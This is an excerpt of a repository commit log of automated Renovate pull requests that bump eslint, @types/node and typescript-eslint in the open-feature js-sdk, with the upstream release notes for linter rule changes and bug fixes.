[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.47.0/8.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.47.0/8.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.49.0`](https://togithub.com/eslint/eslint/releases/tag/v8.49.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.48.0...v8.49.0)

#### Features

-
[`da09f4e`](da09f4e641)
feat: Implement onUnreachableCodePathStart/End
([#&#8203;17511](https://togithub.com/eslint/eslint/issues/17511))
(Nicholas C. Zakas)
-
[`32b2327`](32b2327aaf)
feat: Emit deprecation warnings in RuleTester
([#&#8203;17527](https://togithub.com/eslint/eslint/issues/17527))
(Nicholas C. Zakas)
-
[`acb7df3`](acb7df35b9)
feat: add new `enforce` option to `lines-between-class-members`
([#&#8203;17462](https://togithub.com/eslint/eslint/issues/17462))
(Nitin Kumar)

#### Documentation

-
[`ecfb54f`](ecfb54ff4c)
docs: Update README (GitHub Actions Bot)
-
[`de86b3b`](de86b3b2e5)
docs: update `no-promise-executor-return` examples
([#&#8203;17529](https://togithub.com/eslint/eslint/issues/17529))
(Nitin Kumar)
-
[`032c4b1`](032c4b1476)
docs: add typescript template
([#&#8203;17500](https://togithub.com/eslint/eslint/issues/17500))
(James)
-
[`cd7da5c`](cd7da5cc31)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`b7621c3`](b7621c3b16)
chore: remove browser test from `npm test`
([#&#8203;17550](https://togithub.com/eslint/eslint/issues/17550))
(Milos Djermanovic)
-
[`cac45d0`](cac45d04b8)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).49.0
([#&#8203;17549](https://togithub.com/eslint/eslint/issues/17549))
(Milos Djermanovic)
-
[`cd39508`](cd395082bf)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`203a971`](203a971c0a)
ci: bump actions/checkout from 3 to 4
([#&#8203;17530](https://togithub.com/eslint/eslint/issues/17530))
(dependabot\[bot])
-
[`a40fa50`](a40fa50992)
chore: use eslint-plugin-jsdoc's flat config
([#&#8203;17516](https://togithub.com/eslint/eslint/issues/17516))
(Milos Djermanovic)
-
[`926a286`](926a286842)
test: replace Karma with Webdriver.IO
([#&#8203;17126](https://togithub.com/eslint/eslint/issues/17126))
(Christian Bromann)
-
[`f591d2c`](f591d2c88b)
chore: Upgrade config-array
([#&#8203;17512](https://togithub.com/eslint/eslint/issues/17512))
(Nicholas C. Zakas)

### [`v8.48.0`](https://togithub.com/eslint/eslint/releases/tag/v8.48.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.47.0...v8.48.0)

#### Features

-
[`1fbb3b0`](1fbb3b0b47)
feat: correct update direction in `for-direction`
([#&#8203;17483](https://togithub.com/eslint/eslint/issues/17483))
(Francesco Trotta)
-
[`d73fbf2`](d73fbf2228)
feat: rule tester do not create empty valid or invalid test suites
([#&#8203;17475](https://togithub.com/eslint/eslint/issues/17475)) (fnx)
-
[`ee2f718`](ee2f718188)
feat: Allow `void` in rule `no-promise-executor-return`
([#&#8203;17282](https://togithub.com/eslint/eslint/issues/17282))
(nopeless)

#### Bug Fixes

-
[`7234f6a`](7234f6a706)
fix: update RuleTester JSDoc and deprecations
([#&#8203;17496](https://togithub.com/eslint/eslint/issues/17496))
(Jonas Berlin)

#### Documentation

-
[`7a51d77`](7a51d77c0a)
docs: no-param-reassign mention strict mode
([#&#8203;17494](https://togithub.com/eslint/eslint/issues/17494))
(Stephen Hardy)
-
[`9cd7ac2`](9cd7ac2fdb)
docs: add `fetch` script to package.json conventions
([#&#8203;17459](https://togithub.com/eslint/eslint/issues/17459))
(Nitin Kumar)
-
[`cab21e6`](cab21e64a8)
docs: advice for inline disabling of rules
([#&#8203;17458](https://togithub.com/eslint/eslint/issues/17458))
(Ashish Yadav)
-
[`056499d`](056499de31)
docs: fix example of flat config from plugin
([#&#8203;17482](https://togithub.com/eslint/eslint/issues/17482))
(Francesco Trotta)
-
[`9e9edf9`](9e9edf93ec)
docs: update documentation URL in error message
([#&#8203;17465](https://togithub.com/eslint/eslint/issues/17465))
(Nitin Kumar)

#### Chores

-
[`8dd3cec`](8dd3cec90c)
chore: upgrade
[@&#8203;eslint/js](https://togithub.com/eslint/js)[@&#8203;8](https://togithub.com/8).48.0
([#&#8203;17501](https://togithub.com/eslint/eslint/issues/17501))
(Milos Djermanovic)
-
[`6d0496e`](6d0496e947)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`9d4216d`](9d4216d638)
chore: Refactor and document CodePathSegment
([#&#8203;17474](https://togithub.com/eslint/eslint/issues/17474))
(Nicholas C. Zakas)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi42OC4xIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 12:37:34 -04:00
renovate[bot] 5516b61d11
chore(deps): update dependency @types/node to v18.17.15 (#504)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.16.19` ->
`18.17.15`](https://renovatebot.com/diffs/npm/@types%2fnode/18.16.19/18.17.15)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/18.17.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/18.17.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.16.19/18.17.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.16.19/18.17.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 11:04:53 -04:00
renovate[bot] 11d3449661
chore(deps): update typescript-eslint monorepo to v5.62.0 (#500)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/typescript-eslint)
| [`5.45.0` ->
`5.62.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/5.45.0/5.62.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/5.45.0/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/5.45.0/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://togithub.com/typescript-eslint/typescript-eslint)
| [`5.45.0` ->
`5.62.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/5.45.0/5.62.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/5.45.0/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/5.45.0/5.62.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v5.62.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5620-2023-07-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.61.0...v5.62.0)

##### Bug Fixes

- **eslint-plugin:** \[comma-spacing] allow no space after trailing
comma in objects and arrays
([#&#8203;6938](https://togithub.com/typescript-eslint/typescript-eslint/issues/6938))
([24bdacc](24bdacc7e5))
- **eslint-plugin:** \[prefer-includes] escape special characters
([#&#8203;7161](https://togithub.com/typescript-eslint/typescript-eslint/issues/7161))
([5a347a5](5a347a5978)),
closes
[#&#8203;7145](https://togithub.com/typescript-eslint/typescript-eslint/issues/7145)
- **eslint-plugin:** replace auto-fix of class literal property style
rule with suggestion
([#&#8203;7054](https://togithub.com/typescript-eslint/typescript-eslint/issues/7054))
([a8c824a](a8c824a1e8))

##### Features

- **eslint-plugin:** \[prefer-nullish-coalescing] add `ignorePrimitives`
option
([#&#8203;6487](https://togithub.com/typescript-eslint/typescript-eslint/issues/6487))
([6edaa04](6edaa04565))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.61.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5610-2023-07-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.1...v5.61.0)

##### Features

- **eslint-plugin:** \[ban-types] ban types in extends and implements
([#&#8203;7129](https://togithub.com/typescript-eslint/typescript-eslint/issues/7129))
([997783f](997783ff10))
- use graphemer instead of grapheme-splitter
([#&#8203;7069](https://togithub.com/typescript-eslint/typescript-eslint/issues/7069))
([faea3ff](faea3ff8b4))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[5.60.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.0...v5.60.1)
(2023-06-26)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.60.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5601-2023-06-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.0...v5.60.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.60.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5600-2023-06-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.11...v5.60.0)

##### Features

- **eslint-plugin:** \[restrict-plus-operands] add allow\* options
([#&#8203;6161](https://togithub.com/typescript-eslint/typescript-eslint/issues/6161))
([def09f8](def09f88cd))

####
[5.59.11](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.10...v5.59.11)
(2023-06-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.10](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.9...v5.59.10)
(2023-06-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.9](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.8...v5.59.9)
(2023-06-05)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.8](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.7...v5.59.8)
(2023-05-29)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.7](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.6...v5.59.7)
(2023-05-22)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.6](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.5...v5.59.6)
(2023-05-15)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.5](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.4...v5.59.5)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.4](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.3...v5.59.4)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.3](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.2...v5.59.3)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.1...v5.59.2)
(2023-05-01)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.59.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.0...v5.59.1)
(2023-04-24)

##### Bug Fixes

- **eslint-plugin:** \[prefer-regexp-exec] skip malformed regexes
([#&#8203;6935](https://togithub.com/typescript-eslint/typescript-eslint/issues/6935))
([05ed60e](05ed60e25f))
- **eslint-plugin:** \[unified-signatures] no parameters function
([#&#8203;6940](https://togithub.com/typescript-eslint/typescript-eslint/issues/6940))
([2970861](297086154a))

###
[`v5.59.11`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#55911-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.10...v5.59.11)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.10`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#55910-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.9...v5.59.10)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.9`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5599-2023-06-05)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.8...v5.59.9)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.8`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5598-2023-05-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.7...v5.59.8)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.7`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5597-2023-05-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.6...v5.59.7)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.6`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5596-2023-05-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.5...v5.59.6)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.5`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5595-2023-05-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.2...v5.59.5)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5592-2023-05-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.1...v5.59.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#55911-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.0...v5.59.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.59.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5590-2023-04-17)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.58.0...v5.59.0)

##### Bug Fixes

- **eslint-plugin:** \[no-unnecessary-condition] allow nullish
coalescing for naked type parameter
([#&#8203;6910](https://togithub.com/typescript-eslint/typescript-eslint/issues/6910))
([3e5f858](3e5f8583f1))

##### Features

- **eslint-plugin:** \[ban-types] add NonNullable suggestion and allow
custom suggestions
([#&#8203;6876](https://togithub.com/typescript-eslint/typescript-eslint/issues/6876))
([ff65235](ff65235246))

###
[`v5.58.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5580-2023-04-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.1...v5.58.0)

##### Bug Fixes

- **eslint-plugin:** \[unified-signatures] allow overloads with
different named and different number of parameters
([#&#8203;6877](https://togithub.com/typescript-eslint/typescript-eslint/issues/6877))
([939d665](939d6656eb))

##### Features

- **eslint-plugin:** \[no-unsafe-enum-comparison] add rule
([#&#8203;6107](https://togithub.com/typescript-eslint/typescript-eslint/issues/6107))
([915f9c2](915f9c2dc8))

####
[5.57.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.0...v5.57.1)
(2023-04-03)

##### Bug Fixes

- **eslint-plugin:** \[strict-boolean-expressions] support mixed enums
in allowNullableEnum option
([#&#8203;6740](https://togithub.com/typescript-eslint/typescript-eslint/issues/6740))
([49be8a8](49be8a814c))

###
[`v5.57.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5571-2023-04-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.0...v5.57.1)

##### Bug Fixes

- **eslint-plugin:** \[strict-boolean-expressions] support mixed enums
in allowNullableEnum option
([#&#8203;6740](https://togithub.com/typescript-eslint/typescript-eslint/issues/6740))
([49be8a8](49be8a814c))

###
[`v5.57.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5570-2023-03-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.56.0...v5.57.0)

##### Bug Fixes

- **eslint-plugin:** \[no-unnecessary-boolean-literal-compare] simplify
fixer and add support for double negation
([#&#8203;6620](https://togithub.com/typescript-eslint/typescript-eslint/issues/6620))
([81c8519](81c85193d2))
- **eslint-plugin:** correct crashes with getTypeArguments for ts < 3.7
([#&#8203;6767](https://togithub.com/typescript-eslint/typescript-eslint/issues/6767))
([59eab58](59eab58789))

##### Features

- **eslint-plugin:** \[consistent-type-assertions] add suggestions for
objectLiteralTypeAssertions
([#&#8203;6642](https://togithub.com/typescript-eslint/typescript-eslint/issues/6642))
([720e811](720e81138b))
- **eslint-plugin:** \[consistent-type-assertions] autofix angle bracket
assertions to as
([#&#8203;6641](https://togithub.com/typescript-eslint/typescript-eslint/issues/6641))
([ad8ea64](ad8ea64dbd))
- **eslint-plugin:** add `no-duplicate-type-constituents` rule
([#&#8203;5728](https://togithub.com/typescript-eslint/typescript-eslint/issues/5728))
([bc31078](bc31078cf8))

###
[`v5.56.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5560-2023-03-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.55.0...v5.56.0)

##### Bug Fixes

- **eslint-plugin:** \[member-ordering] check order when
optionalityOrder is present with no optional members
([#&#8203;6619](https://togithub.com/typescript-eslint/typescript-eslint/issues/6619))
([6aff431](6aff431668))
- **eslint-plugin:** \[no-misused-promises] avoid unnecessary calls to
getContextualType
([#&#8203;6193](https://togithub.com/typescript-eslint/typescript-eslint/issues/6193))
([745cfe4](745cfe4a35))
- **eslint-plugin:** \[no-misused-promises] fix incorrect detection of
void functions in JSX attributes
([#&#8203;6638](https://togithub.com/typescript-eslint/typescript-eslint/issues/6638))
([9e41cee](9e41ceeaea))
- **eslint-plugin:** \[strict-boolean-expression] support falsy and
truthy literals simultaneously
([#&#8203;6672](https://togithub.com/typescript-eslint/typescript-eslint/issues/6672))
([62ef487](62ef487a99))
- **eslint-plugin:** \[strict-boolean-expressions] handle truthy enums
([#&#8203;6618](https://togithub.com/typescript-eslint/typescript-eslint/issues/6618))
([0d0639f](0d0639fb25))
- **eslint-plugin:** add TSPropertySignature with TSFunctionType
annotation to typeMethod selector
([#&#8203;6645](https://togithub.com/typescript-eslint/typescript-eslint/issues/6645))
([3fc5c63](3fc5c63f87))

##### Features

- **eslint-plugin:** add allowNever support to
restrict-template-expressions
([#&#8203;6554](https://togithub.com/typescript-eslint/typescript-eslint/issues/6554))
([423f164](423f164242))

###
[`v5.55.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5550-2023-03-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.1...v5.55.0)

##### Bug Fixes

- **eslint-plugin:** \[no-confusing-void-expression] check sequence
expressions for void is in last position
([#&#8203;6597](https://togithub.com/typescript-eslint/typescript-eslint/issues/6597))
([d73d7d3](d73d7d3904))
- **eslint-plugin:** \[no-unnecessary-boolean-literal-compare] fixer
should handle parentheses
([#&#8203;6569](https://togithub.com/typescript-eslint/typescript-eslint/issues/6569))
([2d8c196](2d8c196294))

##### Features

- **eslint-plugin:** \[lines-around-comment] add extension rule
([#&#8203;5327](https://togithub.com/typescript-eslint/typescript-eslint/issues/5327))
([d55211c](d55211caf6))
- **eslint-plugin:** \[member-ordering] add support for grouping
readonly fields
([#&#8203;6349](https://togithub.com/typescript-eslint/typescript-eslint/issues/6349))
([9d3bdfc](9d3bdfcb2f))
- **eslint-plugin:** \[no-unnecessary-cond] check logical assignments
([#&#8203;6594](https://togithub.com/typescript-eslint/typescript-eslint/issues/6594))
([dbc203a](dbc203aeb6))
- update TypeScript to 5.0 RC
([#&#8203;6570](https://togithub.com/typescript-eslint/typescript-eslint/issues/6570))
([36ef0e1](36ef0e16f3))
- use [@&#8203;eslint-community](https://togithub.com/eslint-community)
dependencies
([#&#8203;6603](https://togithub.com/typescript-eslint/typescript-eslint/issues/6603))
([5f6ed73](5f6ed738a2))

####
[5.54.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.0...v5.54.1)
(2023-03-06)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.54.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5541-2023-03-06)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.0...v5.54.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.54.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5540-2023-02-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.53.0...v5.54.0)

##### Features

- **eslint-plugin:** \[promise-function-async] check for promises in
implicit return types
([#&#8203;6330](https://togithub.com/typescript-eslint/typescript-eslint/issues/6330))
([de1e5ce](de1e5ce112)),
closes
[#&#8203;6329](https://togithub.com/typescript-eslint/typescript-eslint/issues/6329)

###
[`v5.53.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5530-2023-02-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.52.0...v5.53.0)

##### Features

- **eslint-plugin:** \[consistent-generic-constructors] handle default
parameters
([#&#8203;6484](https://togithub.com/typescript-eslint/typescript-eslint/issues/6484))
([e8cebce](e8cebce972))
- **eslint-plugin:** \[no-mixed-enums] add rule
([#&#8203;6102](https://togithub.com/typescript-eslint/typescript-eslint/issues/6102))
([16144d1](16144d1d6a))

###
[`v5.52.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5520-2023-02-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.51.0...v5.52.0)

##### Bug Fixes

- **eslint-plugin:** \[no-import-type-side-effects] correctly ignore
zero-specifier imports
([#&#8203;6444](https://togithub.com/typescript-eslint/typescript-eslint/issues/6444))
([d5a6688](d5a6688a22))
- **eslint-plugin:** \[no-unnecessary-condition] account for optional
chaining on potentially void values
([#&#8203;6432](https://togithub.com/typescript-eslint/typescript-eslint/issues/6432))
([e1d9c67](e1d9c67981)),
closes
[#&#8203;5255](https://togithub.com/typescript-eslint/typescript-eslint/issues/5255)
- **eslint-plugin:** \[no-unnecessary-condition] fix false positive when
checking indexed access types
([#&#8203;6452](https://togithub.com/typescript-eslint/typescript-eslint/issues/6452))
([d569924](d569924cf3))
- **eslint-plugin:** fix key-spacing when type starts on next line
([#&#8203;6412](https://togithub.com/typescript-eslint/typescript-eslint/issues/6412))
([3eb2eed](3eb2eed616))

##### Features

- **eslint-plugin:** \[block-spacing] extending base rule for TS related
blocks
([#&#8203;6195](https://togithub.com/typescript-eslint/typescript-eslint/issues/6195))
([b2db3f5](b2db3f57d3))
- **eslint-plugin:** \[explicit-function-return-type] add
allowFunctionsWithoutTypeParameters option
([#&#8203;6105](https://togithub.com/typescript-eslint/typescript-eslint/issues/6105))
([113640e](113640e974))
- **eslint-plugin:** \[explicit-function-return-type] add allowIIFEs
option
([#&#8203;6237](https://togithub.com/typescript-eslint/typescript-eslint/issues/6237))
([a1b3f7b](a1b3f7b4d9))

###
[`v5.51.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5510-2023-02-06)

[Compare
